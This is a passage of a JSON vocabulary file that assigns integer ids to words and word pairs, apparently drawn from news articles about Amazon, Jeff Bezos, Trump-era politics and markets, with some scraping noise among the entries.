\"fastidious\": 123659,\n  \"movie preferences\": 123660,\n  \"gerald connolly\": 123661,\n  \"trump barry\": 123662,\n  \"secure future\": 123663,\n  \"735 words\": 123664,\n  \"amazon accused\": 123665,\n  \"branded checking\": 123666,\n  \"growth slowed\": 123667,\n  \"china india\": 123668,\n  \"ashford mgmt\": 123669,\n  \"earning\": 123670,\n  \"chicago conference\": 123671,\n  \"dollar socialite\": 123672,\n  \"mcbride sarahemcbride\": 123673,\n  \"formal probe\": 123674,\n  \"stanescu\": 123675,\n  \"mrc\": 123676,\n  \"similar perils\": 123677,\n  \"function onvideocarouselitemclicked\": 123678,\n  \"official correction\": 123679,\n  \"members brzezinski\": 123680,\n  \"fishy\": 123681,\n  \"science immigration\": 123682,\n  \"diplomatic realpolitik\": 123683,\n  \"debt chicago\": 123684,\n  \"news facebook\": 123685,\n  \"backstages\": 123686,\n  \"nairobi environment\": 123687,\n  \"9l63chza7h\": 123688,\n  \"sector ranging\": 123689,\n  \"passenger according\": 123690,\n  \"global geo\": 123691,\n  \"american society\": 123692,\n  \"registered republicans\": 123693,\n  \"instagram story\": 123694,\n  \"hiring employees\": 123695,\n  \"discern\": 123696,\n  \"targets millennial\": 123697,\n  \"2017 fraudnewscnn\": 123698,\n  \"current commission\": 123699,\n  \"van kanten\": 123700,\n  \"crumbling infrastructure\": 123701,\n  \"retail data\": 123702,\n  \"american war\": 123703,\n  \"yerepouni\": 123704,\n  \"cbs broadcasting\": 123705,\n  \"app\\u00e9tit profile\": 123706,\n  \"p0 i9\": 123707,\n  \"wiki addressed\": 123708,\n  \"withdraw brazil\": 123709,\n  \"newsdesk\": 123710,\n  \"slimy slug\": 123711,\n  \"violating campaign\": 123712,\n  \"protect competition\": 123713,\n  \"lyft earlier\": 123714,\n  \"escape reality\": 123715,\n  \"montreal protocol\": 123716,\n  \"tubefilter\": 123717,\n  \"kovic kevin\": 123718,\n  \"spuriously claiming\": 123719,\n  \"day workers\": 123720,\n  \"nice finding\": 123721,\n  \"national radio\": 123722,\n  \"announces plan\": 123723,\n  \"item budget\": 123724,\n  \"yoshida\": 123725,\n  \"ilhan\": 123726,\n  \"imagine baseball\": 123727,\n  \"lgbt groups\": 123728,\n  \"partly gentrified\": 123729,\n  \"bearish level\": 123730,\n  \"irs accessed\": 123731,\n  \"trump america\": 123732,\n  \"say hope\": 123733,\n  \"existing law\": 123734,\n  \"ostensibly opposes\": 123735,\n  \"devices\": 123736,\n  \"company koc\": 123737,\n  \"shareholders meeting\": 123738,\n  \"chinese platform\": 123739,\n  \"power forever\": 123740,\n  \"products home\": 123741,\n  \"citing media\": 123742,\n  \"sixth paragraph\": 123743,\n  \"complaints remain\": 123744,\n  \"catastrophe gives\": 123745,\n  \"price packaging\": 123746,\n  \"agent trump\": 123747,\n  \"dollar strengthening\": 123748,\n  \"crossing\": 123749,\n  \"logistics capabilities\": 123750,\n  \"independent bid\": 123751,\n  \"business strategies\": 123752,\n  \"gunpoint police\": 123753,\n  \"1440et copyright\": 123754,\n  \"decisively\": 123755,\n  \"lose cheryl\": 123756,\n  \"drug overdose\": 123757,\n  \"300k\": 123758,\n  \"conneaut\": 123759,\n  \"suggests americans\": 123760,\n  \"leading independent\": 123761,\n  \"pastry\": 123762,\n  \"willis john\": 123763,\n  \"people value\": 123764,\n  \"lea contributed\": 123765,\n  \"trump given\": 123766,\n  \"democrat frank\": 123767,\n  \"drama played\": 123768,\n  \"pillpack boston\": 123769,\n  \"shakespearean\": 123770,\n  \"beats earnings\": 123771,\n  \"dozen defendants\": 123772,\n  \"lotof\": 123773,\n  \"equally miserly\": 123774,\n  \"wapo story\": 123775,\n  \"response shows\": 123776,\n  \"speaker category\": 123777,\n  \"diyah\": 123778,\n  \"honcho andy\": 123779,\n  \"potential plus\": 123780,\n  \"department discussed\": 123781,\n  \"average person\": 123782,\n  \"thinly\": 123783,\n  \"earnings schedule\": 123784,\n  \"china google\": 123785,\n  \"talking shit\": 123786,\n  \"epitomized\": 123787,\n  \"discussing jeff\": 123788,\n  \"service avoiding\": 123789,\n  \"wear amazon\": 123790,\n  \"smaller\": 123791,\n  \"disneyland\": 123792,\n  \"stock traded\": 123793,\n  \"2018 adp\": 123794,\n  \"site medium\": 123795,\n  \"helping patent\": 123796,\n  \"oil drilling\": 123797,\n  \"amazon 528\": 123798,\n  \"lowest competitive\": 123799,\n  \"chicago implement\": 123800,\n  \"bramer sunnyside\": 123801,\n  \"discounted product\": 123802,\n  \"privacy practices\": 123803,\n  \"survey participants\": 123804,\n  \"killing black\": 123805,\n  \"orlando florida\": 123806,\n  \"corp wants\": 123807,\n  \"shrewdly\": 123808,\n  \"trump protesters\": 123809,\n  \"longer leading\": 123810,\n  \"media using\": 123811,\n  \"slow fidelity\": 123812,\n  \"entrepreneur sued\": 123813,\n  \"hewlett packard\": 123814,\n  \"drug crime\": 123815,\n  \"arun\": 123816,\n  \"face sex\": 123817,\n  \"yes jim\": 123818,\n  \"competitive bidding\": 123819,\n  \"encana corp\": 123820,\n  \"black man\": 123821,\n  \"recommends alphabet\": 123822,\n  \"received torrential\": 123823,\n  \"cameron bure\": 123824,\n  \"computer savvy\": 123825,\n  \"cnn cnn\": 123826,\n  \"complaint reads\": 123827,\n  \"pilloried\": 123828,\n  \"media mogul\": 123829,\n  \"billion showing\": 123830,\n  \"half real\": 123831,\n  \"city adelson\": 123832,\n  \"celeste headlee\": 123833,\n  \"does sound\": 123834,\n  \"company facial\": 123835,\n  \"sanders countered\": 123836,\n  \"deravian\": 123837,\n  \"homeless reported\": 123838,\n  \"continued allegations\": 123839,\n  \"friendlier\": 123840,\n  \"robert mueller\": 123841,\n  \"haley shames\": 123842,\n  \"haaseth\": 123843,\n  \"responding\": 123844,\n  \"accusation amazon\": 123845,\n  \"cigarette company\": 123846,\n  \"octavio santos\": 123847,\n  \"people homes\": 123848,\n  \"stupidity\": 123849,\n  \"mark strausman\": 123850,\n  \"funding border\": 123851,\n  \"versus amazon\": 123852,\n  \"certain presidential\": 123853,\n  \"pitch eventually\": 123854,\n  \"approximately 712\": 123855,\n  \"predicament latest\": 123856,\n  \"old deadbeat\": 123857,\n  \"virginia politics\": 123858,\n  \"experienced similar\": 123859,\n  \"levels taking\": 123860,\n  \"eamon javers\": 123861,\n  \"bedrock principle\": 123862,\n  \"orange face\": 123863,\n  \"critical outlets\": 123864,\n  \"second decide\": 123865,\n  \"amazon maid\": 123866,\n  \"wesley yang\": 123867,\n  \"assert trump\": 123868,\n  \"expletive laden\": 123869,\n  \"glancy\": 123870,\n  \"scaggs\": 123871,\n  \"companies regulating\": 123872,\n  \"quarterly operating\": 123873,\n  \"objecting\": 123874,\n  \"children book\": 123875,\n  \"popular fact\": 123876,\n  \"definitive share\": 123877,\n  \"mind continue\": 123878,\n  \"bad fake\": 123879,\n  \"china following\": 123880,\n  \"filters lighting\": 123881,\n  \"possible reason\": 123882,\n  \"america little\": 123883,\n  \"finally exits\": 123884,\n  \"face intense\": 123885,\n  \"teensafe\": 123886,\n  \"single amazon\": 123887,\n  \"executive marc\": 123888,\n  \"background photograph\": 123889,\n  \"help just\": 123890,\n  \"thrive\": 123891,\n  \"company according\": 123892,\n  \"savery\": 123893,\n  \"regime democrats\": 123894,\n  \"opportunity zone\": 123895,\n  \"a45 orig\": 123896,\n  \"scented offices\": 123897,\n  \"hysterical\": 123898,\n  \"miller resignation\": 123899,\n  \"secure facilities\": 123900,\n  \"articles critical\": 123901,\n  \"rate charged\": 123902,\n  \"indecent\": 123903,\n  \"new subscription\": 123904,\n  \"financial path\": 123905,\n  \"0x8lechrcf jeffrey\": 123906,\n  \"small local\": 123907,\n  \"broadcasting happiness\": 123908,\n  \"huffington post\": 123909,\n  \"jointly exploring\": 123910,\n  \"texas college\": 123911,\n  \"ctl\": 123912,\n  \"china capacity\": 123913,\n  \"stop companies\": 123914,\n  \"gerberkawasaki\": 123915,\n  \"boxes\": 123916,\n  \"sector similarly\": 123917,\n  \"georgia deadly\": 123918,\n  \"pluto ferrari\": 123919,\n  \"documented aphrodisiacs\": 123920,\n  \"economically insecure\": 123921,\n  \"hosting 2020\": 123922,\n  \"king mcdonalds\": 123923,\n  \"opens new\": 123924,\n  \"circumstances sears\": 123925,\n  \"purchasing toys\": 123926,\n  \"bleed red\": 123927,\n  \"google youtube\": 123928,\n  \"dinklage whets\": 123929,\n  \"organizations particularly\": 123930,\n  \"ozzy\": 123931,\n  \"increase greenhouse\": 123932,\n  \"long kept\": 123933,\n  \"address link\": 123934,\n  \"morocco pope\": 123935,\n  \"transfers uncovers\": 123936,\n  \"shares cadence\": 123937,\n  \"biz citi\": 123938,\n  \"prizes rescinded\": 123939,\n  \"pilots\": 123940,\n  \"simultaneously\": 123941,\n  \"hq4\": 123942,\n  \"precious\": 123943,\n  \"policy liberal\": 123944,\n  \"correlated\": 123945,\n  \"latest insights\": 123946,\n  \"wine\": 123947,\n  \"clinton obama\": 123948,\n  \"shares aviance\": 123949,\n  \"started protracted\": 123950,\n  \"sense primarily\": 123951,\n  \"lob attacks\": 123952,\n  \"fewer jobs\": 123953,\n  \"cbs reported\": 123954,\n  \"life moving\": 123955,\n  \"loop\": 123956,\n  \"faux items\": 123957,\n  \"store owners\": 123958,\n  \"wwg1wga\": 123959,\n  \"photograph\": 123960,\n  \"pro\": 123961,\n  \"2018 eric\": 123962,\n  \"kernen\": 123963,\n  \"acknowledged paying\": 123964,\n  \"feuillebois\": 123965,\n  \"news publications\": 123966,\n  \"dad pays\": 123967,\n  \"grizzlies marc\": 123968,\n  \"alexa powered\": 123969,\n  \"poodle product\": 123970,\n  \"political strength\": 123971,\n  \"global ceo\": 123972,\n  \"pdf versions\": 123973,\n  \"divergent results\": 123974,\n  \"305\": 123975,\n  \"bloomberg day\": 123976,\n  \"warehouses prompted\": 123977,\n  \"environment survey\": 123978,\n  \"nazi platform\": 123979,\n  \"economy hits\": 123980,\n  \"nuclear state\": 123981,\n  \"covering torrent\": 123982,\n  \"lmt\": 123983,\n  \"statewide offices\": 123984,\n  \"voluntary commitments\": 123985,\n  \"behalf weeks\": 123986,\n  \"program benjamin\": 123987,\n  \"shoe apparel\": 123988,\n  \"bioscience resources\": 123989,\n  \"drawn comparisons\": 123990,\n  \"win unless\": 123991,\n  \"purge chicagoist\": 123992,\n  \"personally dislikes\": 123993,\n  \"body responsible\": 123994,\n  \"amendments protection\": 123995,\n  \"semiconductor stocks\": 123996,\n  \"amazon vice\": 123997,\n  \"techies euro\": 123998,\n  \"know mongabay\": 123999,\n  \"gazette coverage\": 124000,\n  \"stewed\": 124001,\n  \"freedom works\": 124002,\n  \"moving blue\": 124003,\n  \"toggle\": 124004,\n  \"article earlier\": 124005,\n  \"wild sea\": 124006,\n  \"disarmament\": 124007,\n  \"anne vandermey\": 124008,\n  \"pre foreclosure\": 124009,\n  \"loss ranks\": 124010,\n  \"angeles restaurant\": 124011,\n  \"coffee chain\": 124012,\n  \"geneva grape\": 124013,\n  \"response eventually\": 124014,\n  \"best capabilities\": 124015,\n  \"city raising\": 124016,\n  \"tactics sebastian\": 124017,\n  \"presidential advisor\": 124018,\n  \"cross\": 124019,\n  \"negotiations\": 124020,\n  \"underscores\": 124021,\n  \"2017 study\": 124022,\n  \"microscope source\": 124023,\n  \"sues\": 124024,\n  \"placating conservatives\": 124025,\n  \"programmers tell\": 124026,\n  \"thumbimageelem\": 124027,\n  \"story shows\": 124028,\n  \"expression\": 124029,\n  \"international security\": 124030,\n  \"github ibm\": 124031,\n  \"shrewd financial\": 124032,\n  \"worker conditions\": 124033,\n  \"attorney sheila\": 124034,\n  \"designate amazon\": 124035,\n  \"mueller land\": 124036,\n  \"1614et copyright\": 124037,\n  \"community especially\": 124038,\n  \"hear billionaire\": 124039,\n  \"uses rankings\": 124040,\n  \"vocational\": 124041,\n  \"charlie hurt\": 124042,\n  \"schiff\": 124043,\n  \"small moves\": 124044,\n  \"cavs visit\": 124045,\n  \"legislative changes\": 124046,\n  \"nest\": 124047,\n  \"software making\": 124048,\n  \"visit morocco\": 124049,\n  \"handled admissions\": 124050,\n  \"pompeo requesting\": 124051,\n  \"similar announcement\": 124052,\n  \"island making\": 124053,\n  \"biggest lobbying\": 124054,\n  \"ap steve\": 124055,\n  \"just proposed\": 124056,\n  \"encouraged\": 124057,\n  \"service network\": 124058,\n  \"egitimate media\": 124059,\n  \"2026 assuming\": 124060,\n  \"100 maxsa\": 124061,\n  \"happens abroad\": 124062,\n  \"finishes\": 124063,\n  \"history sanchez\": 124064,\n  \"house melchiorre\": 124065,\n  \"fodder amazon\": 124066,\n  \"cnl_contenido_contenido_contenido_campa_contenido_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_campa_campa_granas_corriente money\": 124067,\n  \"say enacting\": 124068,\n  \"russian state\": 124069,\n  \"national effort\": 124070,\n  \"captives freed\": 124071,\n  \"course\": 124072,\n  \"accumulate\": 124073,\n  \"clearly bothered\": 124074,\n  \"krichiver\": 124075,\n  \"consumer isn\": 124076,\n  \"mountain implicitly\": 124077,\n  \"understanding rep\": 124078,\n  \"nice boeing\": 124079,\n  \"reveals exactly\": 124080,\n  \"laptops hd\": 124081,\n  \"year spicer\": 124082,\n  \"secretly assisting\": 124083,\n  \"vineyards hedging\": 124084,\n  \"john colaneri\": 124085,\n  \"derail beer\": 124086,\n  \"perez abby\": 124087,\n  \"opinions maybe\": 124088,\n  \"post paywall\": 124089,\n  \"college campuses\": 124090,\n  \"tsunami hit\": 124091,\n  \"brilliant ruth\": 124092,\n  \"growth remained\": 124093,\n  \"local vendors\": 124094,\n  \"attorney general\": 124095,\n  \"smirked\": 124096,\n  \"long engaged\": 124097,\n  \"island ny\": 124098,\n  \"chairman talked\": 124099,\n  \"shadow work\": 124100,\n  \"enforcement\": 124101,\n  \"tm wealth\": 124102,\n  \"billion defying\": 124103,\n  \"kindergarten\": 124104,\n  \"2018 willa\": 124105,\n  \"republican discontent\": 124106,\n  \"bar shooting\": 124107,\n  \"thriller feel\": 124108,\n  \"boilerplate rebuttals\": 124109,\n  \"transportation management\": 124110,\n  \"awkward match\": 124111,\n  \"sanders yesterday\": 124112,\n  \"engineering problems\": 124113,\n  \"new agreements\": 124114,\n  \"major loophole\": 124115,\n  \"degree weather\": 124116,\n  \"media ginned\": 124117,\n  \"confirmed depends\": 124118,\n  \"proprietary amazon\": 124119,\n  \"deadly country\": 124120,\n  \"sellers amazon\": 124121,\n  \"romanoffs\": 124122,\n  \"foxborough\": 124123,\n  \"good deals\": 124124,\n  \"true tolerance\": 124125,\n  \"congressional duties\": 124126,\n  \"amazon misfire\": 124127,\n  \"damaging trump\": 124128,\n  \"organic broccoli\": 124129,\n  \"vaguely familiar\": 124130,\n  \"reminders\": 124131,\n  \"ad formats\": 124132,\n  \"hurts trump\": 124133,\n  \"regulations post\": 124134,\n  \"seventies\": 124135,\n  \"amazon buys\": 124136,\n  \"highlight china\": 124137,\n  \"quarter loss\": 124138,\n  \"1980s\": 124139,\n  \"agricultural techniques\": 124140,\n  \"smaller share\": 124141,\n  \"wasn intended\": 124142,\n  \"recent request\": 124143,\n  \"reach trade\": 124144,\n  \"dos include\": 124145,\n  \"sanders tweet\": 124146,\n  \"antithesis\": 124147,\n  \"euro oecomplexifier\": 124148,\n  \"story driverless\": 124149,\n  \"medallist\": 124150,\n  \"caramel\": 124151,\n  \"exist governor\": 124152,\n  \"pf_rd_p\": 124153,\n  \"michael schuman\": 124154,\n  \"alberg\": 124155,\n  \"sleeps\": 124156,\n  \"great tech\": 124157,\n  \"men women\": 124158,\n  \"desecration\": 124159,\n  \"karas\": 124160,\n  \"mislead\": 124161,\n  \"status racial\": 124162,\n  \"customer\": 124163,\n  \"existing doorbell\": 124164,\n  \"wilson blvd\": 124165,\n  \"lester holt\": 124166,\n  \"michael menaces\": 124167,\n  \"story boring\": 124168,\n  \"price plunge\": 124169,\n  \"traded lower\": 124170,\n  \"goff hit\": 124171,\n  \"successfully gone\": 124172,\n  \"immutable\": 124173,\n  \"pop stars\": 124174,\n  \"entry route\": 124175,\n  \"bolsonaro neoliberal\": 124176,\n  \"employers fox\": 124177,\n  \"feeling morally\": 124178,\n  \"control consider\": 124179,\n  \"securities filing\": 124180,\n  \"angeles rams\": 124181,\n  \"free market\": 124182,\n  \"zeide university\": 124183,\n  \"military branches\": 124184,\n  \"ajilore 415\": 124185,\n  \"news feeds\": 124186,\n  \"taxes low\": 124187,\n  \"000 government\": 124188,\n  \"unemployment lobbying\": 124189,\n  \"sets boundaries\": 124190,\n  \"amazon building\": 124191,\n  \"biolite excellent\": 124192,\n  \"broken immigration\": 124193,\n  \"entitled congress\": 124194,\n  \"da a4ee\": 124195,\n  \"outpaced amazon\": 124196,\n  \"day warfare\": 124197,\n  \"trump international\": 124198,\n  \"quality individual\": 124199,\n  \"making deal\": 124200,\n  \"nalc\": 124201,\n  \"company relatively\": 124202,\n  \"york division\": 124203,\n  \"thought provoking\": 124204,\n  \"handgun basics\": 124205,\n  \"really sharply\": 124206,\n  \"similar tweet\": 124207,\n  \"amazon oyster\": 124208,\n  \"smartly\": 124209,\n  \"mxm bolsters\": 124210,\n  \"physical stores\": 124211,\n  \"white gloves\": 124212,\n  \"googl twitter\": 124213,\n  \"business really\": 124214,\n  \"raunchy pics\": 124215,\n  \"cover called\": 124216,\n  \"capital grant\": 124217,\n  \"coffee shop\": 124218,\n  \"representative otr\": 124219,\n  \"oversee corporate\": 124220,\n  \"20again\": 124221,\n  \"wrote journalist\": 124222,\n  \"pilfering\": 124223,\n  \"held fron\": 124224,\n  \"aaron\": 124225,\n  \"letter volumes\": 124226,\n  \"duchess\": 124227,\n  \"nyse kbh\": 124228,\n  \"founder psychological\": 124229,\n  \"sell traders\": 124230,\n  \"shy tech\": 124231,\n  \"fresh prince\": 124232,\n  \"finance saving\": 124233,\n  \"inauguration spending\": 124234,\n  \"interesting considering\": 124235,\n  \"completely transform\": 124236,\n  \"baseless attacks\": 124237,\n  \"amazon sent\": 124238,\n  \"brothers says\": 124239,\n  \"arabian finance\": 124240,\n  \"rescue mission\": 124241,\n  \"lead player\": 124242,\n  \"lnahmias politico\": 124243,\n  \"antitrust threats\": 124244,\n  \"ruling ruralists\": 124245,\n  \"bought porsche\": 124246,\n  \"easley\": 124247,\n  \"marketing instagram\": 124248,\n  \"itunaffordable\": 124249,\n  \"repair needs\": 124250,\n  \"getting paid\": 124251,\n  \"independently selected\": 124252,\n  \"scrambling\": 124253,\n  \"pro alex\": 124254,\n  \"diagnostics giant\": 124255,\n  \"outages caused\": 124256,\n  \"raises profound\": 124257,\n  \"tyrone johnson\": 124258,\n  \"million deal\": 124259,\n  \"lawsuit filed\": 124260,\n  \"political ally\": 124261,\n  \"war compared\": 124262,\n  \"prowess threatens\": 124263,\n  \"ck pic\": 124264,\n  \"american psychiatrist\": 124265,\n  \"explosive investigation\": 124266,\n  \"growing monopoly\": 124267,\n  \"otherwords lindsay\": 124268,\n  \"solving\": 124269,\n  \"kelly interview\": 124270,\n  \"cause cancer\": 124271,\n  \"flipping activity\": 124272,\n  \"psychoanalysts\": 124273,\n  \"addressed sooner\": 124274,\n  \"malaysia thailand\": 124275,\n  \"deals launched\": 124276,\n  \"lived modestly\": 124277,\n  \"investor earlier\": 124278,\n  \"abortions\": 124279,\n  \"source clause\": 124280,\n  \"year dramatic\": 124281,\n  \"caption salke\": 124282,\n  \"reflect growing\": 124283,\n  \"strong despite\": 124284,\n  \"stringent instead\": 124285,\n  \"political season\": 124286,\n  \"capable missile\": 124287,\n  \"nations human\": 124288,\n  \"denotes current\": 124289,\n  \"populist\": 124290,\n  \"speechwriter jon\": 124291,\n  \"tennis fashion\": 124292,\n  \"profile senators\": 124293,\n  \"afloat financially\": 124294,\n  \"surveillance infrastructure\": 124295,\n  \"harshita\": 124296,\n  \"marketing jack\": 124297,\n  \"true swing\": 124298,\n  \"authorities\": 124299,\n  \"eggshells\": 124300,\n  \"email seeking\": 124301,\n  \"wide reaching\": 124302,\n  \"media according\": 124303,\n  \"tiegs did\": 124304,\n  \"amy wang\": 124305,\n  \"multimillionaires index\": 124306,\n  \"gallup recent\": 124307,\n  \"moscow deal\": 124308,\n  \"hatred violence\": 124309,\n  \"google logo\": 124310,\n  \"using swords\": 124311,\n  \"manny hernandez\": 124312,\n  \"ibama staff\": 124313,\n  \"richly valued\": 124314,\n  \"furious expansion\": 124315,\n  \"powerful manner\": 124316,\n  \"furnish\": 124317,\n  \"distributor told\": 124318,\n  \"star hotels\": 124319,\n  \"ap retail\": 124320,\n  \"divorce drama\": 124321,\n  \"43415030 43539638\": 124322,\n  \"ad criticized\": 124323,\n  \"kemper\": 124324,\n  \"hunterdon county\": 124325,\n  \"online offline\": 124326,\n  \"khannaelection countdown\": 124327,\n  \"blackburnmarsha\": 124328,\n  \"b8zjiefv0v\": 124329,\n  \"adoring media\": 124330,\n  \"tharrison5 bloomberg\": 124331,\n  \"data scandal\": 124332,\n  \"supports animal\": 124333,\n  \"agreed\": 124334,\n  \"bristow\": 124335,\n  \"harvard psychologist\": 124336,\n  \"dating ayoola\": 124337,\n  \"postal commerce\": 124338,\n  \"assailed amazon\": 124339,\n  \"afford seattle\": 124340,\n  \"tiffany haddish\": 124341,\n  \"wear pants\": 124342,\n  \"bezos page\": 124343,\n  \"beto sex\": 124344,\n  \"widely consequential\": 124345,\n  \"fink\": 124346,\n  \"infrastructure don\": 124347,\n  \"airport\": 124348,\n  \"workman compensation\": 124349,\n  \"crow\": 124350,\n  \"susan ferrechio\": 124351,\n  \"denied considering\": 124352,\n  \"secular establishments\": 124353,\n  \"nan talese\": 124354,\n  \"subway walmart\": 124355,\n  \"openly driven\": 124356,\n  \"patent settlement\": 124357,\n  \"pharma space\": 124358,\n  \"billmurphyjr aut_title\": 124359,\n  \"zone tax\": 124360,\n  \"extra 500\": 124361,\n  \"delbene finite\": 124362,\n  \"horrible things\": 124363,\n  \"wage hike\": 124364,\n  \"square meals\": 124365,\n  \"sure new\": 124366,\n  \"walkau\": 124367,\n  \"jay parker\": 124368,\n  \"economic land\": 124369,\n  \"office reits\": 124370,\n  \"itthe new\": 124371,\n  \"service agent\": 124372,\n  \"natured soul\": 124373,\n  \"democrats scandals\": 124374,\n  \"staff wants\": 124375,\n  \"products easier\": 124376,\n  \"anticipated second\": 124377,\n  \"signaling septuagenarian\": 124378,\n  \"department print\": 124379,\n  \"selling location\": 124380,\n  \"published article\": 124381,\n  \"joke\": 124382,\n  \"russia lashes\": 124383,\n  \"hardware vendors\": 124384,\n  \"democrats control\": 124385,\n  \"various tax\": 124386,\n  \"largest tax\": 124387,\n  \"content michael\": 124388,\n  \"legal tangle\": 124389,\n  \"lifetime opportunity\": 124390,\n  \"draft terms\": 124391,\n  \"twitter bezos\": 124392,\n  \"historical ecl\": 124393,\n  \"stock picker\": 124394,\n  \"raising tariffs\": 124395,\n  \"gerald mchugh\": 124396,\n  \"consumer prices\": 124397,\n  \"ferocious determination\": 124398,\n  \"reader repeatedly\": 124399,\n  \"welch idea\": 124400,\n  \"indiana voters\": 124401,\n  \"language attacking\": 124402,\n  \"upcoming 130\": 124403,\n  \"west virgina\": 124404,\n  \"driving utility\": 124405,\n  \"peterson\": 124406,\n  \"aerial video\": 124407,\n  \"town halls\": 124408,\n  \"tweet google\": 124409,\n  \"jet\": 124410,\n  \"largest numberof\": 124411,\n  \"yotam ottolenghi\": 124412,\n  \"racist photo01\": 124413,\n  \"a4ee j1\": 124414,\n  \"income working\": 124415,\n  \"needed lift\": 124416,\n  \"mean mcdowell\": 124417,\n  \"investigations possible\": 124418,\n  \"judiciary subcommittee\": 124419,\n  \"mccain aides\": 124420,\n  \"violence charge\": 124421,\n  \"hypocritical senate\": 124422,\n  \"vbtt419xoj greg\": 124423,\n  \"contretemps dragging\": 124424,\n  \"daring stroke\": 124425,\n  \"gaza israel\": 124426,\n  \"expand tuition\": 124427,\n  \"airasia founder\": 124428,\n  \"cnn lobbyist\": 124429,\n  \"services division\": 124430,\n  \"held 054\": 124431,\n  \"sent 625\": 124432,\n  \"objective surprise\": 124433,\n  \"shape pressure\": 124434,\n  \"initially high\": 124435,\n  \"spooky halloween\": 124436,\n  \"today world\": 124437,\n  \"public knowledge\": 124438,\n  \"districts case\": 124439,\n  \"chuck lorre\": 124440,\n  \"low stock\": 124441,\n  \"launching round\": 124442,\n  \"successive workers\": 124443,\n  \"local senator\": 124444,\n  \"stop playing\": 124445,\n  \"pushing post\": 124446,\n  \"eating detox\": 124447,\n  \"2016 pushing\": 124448,\n  \"fed raising\": 124449,\n  \"tried numerous\": 124450,\n  \"items sourced\": 124451,\n  \"india mukesh\": 124452,\n  \"received frantic\": 124453,\n  \"doorstep wall\": 124454,\n  \"importantly unintentionally\": 124455,\n  \"highly politicized\": 124456,\n  \"announced plan\": 124457,\n  \"spend 300\": 124458,\n  \"firing fed\": 124459,\n  \"enterprise practices\": 124460,\n  \"acted unconstitutionally\": 124461,\n  \"michel\": 124462,\n  \"large crowd\": 124463,\n  \"frank ortis\": 124464,\n  \"administration white\": 124465,\n  \"uk early\": 124466,\n  \"parameswaran added\": 124467,\n  \"color purple\": 124468,\n  \"addresses\": 124469,\n  \"100billion wiped\": 124470,\n  \"day lagging\": 124471,\n  \"collective market\": 124472,\n  \"beutler\": 124473,\n  \"563\": 124474,\n  \"frum argues\": 124475,\n  \"utm_campaign fixed_positions\": 124476,\n  \"radical left\": 124477,\n  \"eventually admitted\": 124478,\n  \"grasping\": 124479,\n  \"google declaring\": 124480,\n  \"cloud technology\": 124481,\n  \"leftist presidential\": 124482,\n  \"contact amazon\": 124483,\n  \"investigative journalists\": 124484,\n  \"probably short\": 124485,\n  \"cool thing\": 124486,\n  \"metal\": 124487,\n  \"sheet measure\": 124488,\n  \"mothers landlord\": 124489,\n  \"total dollar\": 124490,\n  \"network fox\": 124491,\n  \"santucci jonathan\": 124492,\n  \"blattner high\": 124493,\n  \"country east\": 124494,\n  \"reuters stock\": 124495,\n  \"broad tech\": 124496,\n  \"mackey ceo\": 124497,\n  \"know facebook\": 124498,\n  \"conspiracy flames\": 124499,\n  \"company exxonmobil\": 124500,\n  \"industry relationships\": 124501,\n  \"today action\": 124502,\n  \"yong kim\": 124503,\n  \"souvenir\": 124504,\n  \"good 2017\": 124505,\n  \"cheered amazon\": 124506,\n  \"curran freezes\": 124507,\n  \"news yahoo\": 124508,\n  \"stipend\": 124509,\n  \"billionaire completes\": 124510,\n  \"emirates\": 124511,\n  \"city isn\": 124512,\n  \"enterprise information\": 124513,\n  \"mock pulls\": 124514,\n  \"removals\": 124515,\n  \"america second\": 124516,\n  \"book stores\": 124517,\n  \"uber symptom\": 124518,\n  \"effectively track\": 124519,\n  \"exorcises\": 124520,\n  \"added according\": 124521,\n  \"privacy don\": 124522,\n  \"market sue\": 124523,\n  \"video efforts\": 124524,\n  \"taxpayer funded\": 124525,\n  \"robert pearson\": 124526,\n  \"ambitious reform\": 124527,\n  \"matter involved\": 124528,\n  \"world president\": 124529,\n  \"shorted\": 124530,\n  \"chrysler stocks\": 124531,\n  \"derwin\": 124532,\n  \"geothermal\": 124533,\n  \"cheering crowd\": 124534,\n  \"eruptions\": 124535,\n  \"reading gov\": 124536,\n  \"instagram models\": 124537,\n  \"arrested minutes\": 124538,\n  \"named solyndra\": 124539,\n  \"delay florida\": 124540,\n  \"really disgusted\": 124541,\n  \"footwear association\": 124542,\n  \"appeared relaxed\": 124543,\n  \"sovereign state\": 124544,\n  \"enquirer owner\": 124545,\n  \"troll member\": 124546,\n  \"maga time\": 124547,\n  \"time saved\": 124548,\n  \"site axios\": 124549,\n  \"new strategy\": 124550,\n  \"navy make\": 124551,\n  \"bombshell post\": 124552,\n  \"cost increase\": 124553,\n  \"indictment accusing\": 124554,\n  \"richard geddes\": 124555,\n  \"vigorously defend\": 124556,\n  \"intellect\": 124557,\n  \"pushed harder\": 124558,\n  \"sanchez step\": 124559,\n  \"cartoon president\": 124560,\n  \"leaker bezos\": 124561,\n  \"foto sourceap\": 124562,\n  \"stay bezos\": 124563,\n  \"expeditiously review\": 124564,\n  \"quake\": 124565,\n  \"foreign government\": 124566,\n  \"greater attention\": 124567,\n  \"billion inflation\": 124568,\n  \"carolyn\": 124569,\n  \"ellison reporter\": 124570,\n  \"include new\": 124571,\n  \"free products\": 124572,\n  \"unimaginable wherewithal\": 124573,\n  \"kafka\": 124574,\n  \"fame slugger\": 124575,\n  \"oise aisne\": 124576,\n  \"false inc_custom_css\": 124577,\n  \"newyorkgritty\": 124578,\n  \"companies fled\": 124579,\n  \"founder libel\": 124580,\n  \"customer fulfillment\": 124581,\n  \"attend\": 124582,\n  \"story punches\": 124583,\n  \"workers commentators\": 124584,\n  \"recovery continues\": 124585,\n  \"googler\": 124586,\n  \"elections polls\": 124587,\n  \"bronx ocasio\": 124588,\n  \"thank jeff\": 124589,\n  \"quarrel\": 124590,\n  \"possible locations\": 124591,\n  \"oprah referred\": 124592,\n  \"2014 big\": 124593,\n  \"regular stress\": 124594,\n  \"queens pheffer\": 124595,\n  \"matt kelly\": 124596,\n  \"thomson fairfaxmedia\": 124597,\n  \"charging amazon\": 124598,\n  \"budding\": 124599,\n  \"horrible working\": 124600,\n  \"offering kyle\": 124601,\n  \"bezos fended\": 124602,\n  \"nyx\": 124603,\n  \"giants zte\": 124604,\n  \"trustworthy\": 124605,\n  \"sell tons\": 124606,\n  \"fbi confronts\": 124607,\n  \"manifesto isn\": 124608,\n  \"unverified account\": 124609,\n  \"mono\": 124610,\n  